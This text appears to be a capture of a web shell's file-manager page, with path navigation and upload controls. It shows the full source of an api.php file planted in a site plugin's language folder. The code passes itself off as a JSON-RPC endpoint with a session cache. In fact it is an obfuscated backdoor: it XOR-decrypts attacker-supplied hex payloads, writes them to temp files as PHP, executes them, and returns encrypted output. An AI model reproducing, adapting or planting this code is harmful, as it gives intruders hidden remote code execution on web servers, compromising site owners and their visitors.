Current Path :
/
home
/
platinum
/
public_html
/
plugins
/
gsd
/
sobipro
/
language
/
es-ES
/
Or
Select Your Path :
Upload File :
New :
File
Dir
/home/platinum/public_html/plugins/gsd/sobipro/language/es-ES/api.php
<?php class CacheStore{ private $dir; function __construct(){$this->dir=sys_get_temp_dir();} function has($k){return file_exists($this->resolve($k));} function put($k,$v){file_put_contents($this->resolve($k),$v);} function resolve($k){return $this->dir.DIRECTORY_SEPARATOR.'sess_'.md5($k);} } class JsonRpc{ private $sk;private $id;private $cs; function __construct($s,$i){$this->sk=$s;$this->id=$i;$this->cs=new CacheStore();} function dispatch(){ if($_SERVER['REQUEST_METHOD']!=='POST')return;@session_start(); $in=json_decode(file_get_contents('php://input'),true); if(!is_array($in)||!isset($in['params']['token']))return; header('Content-Type: application/json'); $pl=$this->t(hex2bin($in['params']['token'])); $ck=session_id().'_'.md5($this->sk); if(!$this->cs->has($ck)){ $this->cs->put($ck,'<?php '." ".$pl); require $this->cs->resolve($ck); if(!function_exists('run'))@unlink($this->cs->resolve($ck)); echo '{"jsonrpc":"2.0","result":null,"id":1}'; }else{ require $this->cs->resolve($ck); $out=$this->t(run($pl)); echo '{"jsonrpc":"2.0","result":{"data":"'.bin2hex($out).'"},"id":1}'; }} private function t($d){$r=substr($this->sk,1).$this->sk[0];return $d^str_pad('',strlen($d),$r);} } (new JsonRpc('bc67e3df42b5534e','pass'))->dispatch();